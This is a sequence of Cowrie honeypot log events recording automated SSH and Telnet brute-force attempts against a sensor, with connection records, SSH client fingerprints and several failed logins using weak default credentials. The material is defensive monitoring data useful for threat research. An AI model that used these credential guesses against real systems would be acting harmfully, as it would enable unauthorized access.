{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34784,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d800b8d9e16","protocol":"telnet","message":"New connection: 152.42.224.71:34784 (10.17.0.5:23) [session: 4d800b8d9e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:17.714500Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789r","message":"login attempt [root/123456789r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:17.839749Z","src_ip":"103.75.183.219","session":"ee55c67dc918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:18.022602Z","src_ip":"192.109.200.237","session":"f225a88355c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:19.089552Z","src_ip":"103.75.183.219","session":"ee55c67dc918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40518,"dst_ip":"159.203.135.109","dst_port":22,"session":"61cd6a0edf17","protocol":"ssh","message":"New connection: 192.109.200.237:40518 (159.203.135.109:22) [session: 61cd6a0edf17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:19.943001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:19.947226Z","src_ip":"192.109.200.237","session":"61cd6a0edf17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:20.029153Z","src_ip":"192.109.200.237","session":"61cd6a0edf17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:20.407892Z","src_ip":"192.109.200.237","session":"61cd6a0edf17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:21.492046Z","src_ip":"192.109.200.237","session":"61cd6a0edf17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57232,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dff632ecc03","protocol":"ssh","message":"New connection: 192.109.200.237:57232 (159.203.135.109:22) [session: 2dff632ecc03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:23.486224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:23.489592Z","src_ip":"192.109.200.237","session":"2dff632ecc03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:23.572076Z","src_ip":"192.109.200.237","session":"2dff632ecc03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:23.824472Z","src_ip":"192.109.200.237","session":"2dff632ecc03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:24.910676Z","src_ip":"192.109.200.237","session":"2dff632ecc03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53162,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee5f74c8b0dc","protocol":"telnet","message":"New connection: 152.42.224.71:53162 (10.17.0.5:23) [session: ee5f74c8b0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:26.288913Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57240,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5f0a66365b3","protocol":"ssh","message":"New connection: 192.109.200.237:57240 (159.203.135.109:22) [session: b5f0a66365b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:26.874520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:26.882877Z","src_ip":"192.109.200.237","session":"b5f0a66365b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:26.968266Z","src_ip":"192.109.200.237","session":"b5f0a66365b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:27.215650Z","src_ip":"192.109.200.237","session":"b5f0a66365b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53168,"dst_ip":"10.17.0.5","dst_port":23,"session":"eced63014522","protocol":"telnet","message":"New connection: 152.42.224.71:53168 (10.17.0.5:23) [session: eced63014522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:27.261072Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:28.301519Z","src_ip":"192.109.200.237","session":"b5f0a66365b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60156226158142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:29.383095Z","src_ip":"209.127.178.212","session":"089c92e53d41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60854,"dst_ip":"159.203.135.109","dst_port":22,"session":"042c7d4107ea","protocol":"ssh","message":"New connection: 192.109.200.237:60854 (159.203.135.109:22) [session: 042c7d4107ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:30.214623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:30.220682Z","src_ip":"192.109.200.237","session":"042c7d4107ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:30.405882Z","src_ip":"192.109.200.237","session":"042c7d4107ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:30.730058Z","src_ip":"192.109.200.237","session":"042c7d4107ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:31.820440Z","src_ip":"192.109.200.237","session":"042c7d4107ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53170,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3980a46481a","protocol":"telnet","message":"New connection: 152.42.224.71:53170 (10.17.0.5:23) [session: f3980a46481a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:33.248244Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60860,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e2a0176d757","protocol":"ssh","message":"New connection: 192.109.200.237:60860 (159.203.135.109:22) [session: 5e2a0176d757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:33.803623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:33.807799Z","src_ip":"192.109.200.237","session":"5e2a0176d757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:33.889892Z","src_ip":"192.109.200.237","session":"5e2a0176d757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:34.135107Z","src_ip":"192.109.200.237","session":"5e2a0176d757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53178,"dst_ip":"10.17.0.5","dst_port":23,"session":"929f93193bdc","protocol":"telnet","message":"New connection: 152.42.224.71:53178 (10.17.0.5:23) [session: 929f93193bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:34.277391Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:35.220110Z","src_ip":"192.109.200.237","session":"5e2a0176d757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60868,"dst_ip":"159.203.135.109","dst_port":22,"session":"04197218dbdc","protocol":"ssh","message":"New connection: 192.109.200.237:60868 (159.203.135.109:22) [session: 04197218dbdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:37.264776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:37.272479Z","src_ip":"192.109.200.237","session":"04197218dbdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:37.355090Z","src_ip":"192.109.200.237","session":"04197218dbdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:37.605104Z","src_ip":"192.109.200.237","session":"04197218dbdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:38.689681Z","src_ip":"192.109.200.237","session":"04197218dbdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55212,"dst_ip":"10.17.0.5","dst_port":23,"session":"725ee0d73cc7","protocol":"telnet","message":"New connection: 152.42.224.71:55212 (10.17.0.5:23) [session: 725ee0d73cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:39.793355Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56626,"dst_ip":"159.203.135.109","dst_port":22,"session":"41acdf02ae9c","protocol":"ssh","message":"New connection: 192.109.200.237:56626 (159.203.135.109:22) [session: 41acdf02ae9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:40.858249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:40.863564Z","src_ip":"192.109.200.237","session":"41acdf02ae9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:40.946357Z","src_ip":"192.109.200.237","session":"41acdf02ae9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:41.194166Z","src_ip":"192.109.200.237","session":"41acdf02ae9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:42.279226Z","src_ip":"192.109.200.237","session":"41acdf02ae9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56640,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd874776f616","protocol":"ssh","message":"New connection: 192.109.200.237:56640 (159.203.135.109:22) [session: dd874776f616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:44.048786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:44.052888Z","src_ip":"192.109.200.237","session":"dd874776f616","protocol":"ssh"}
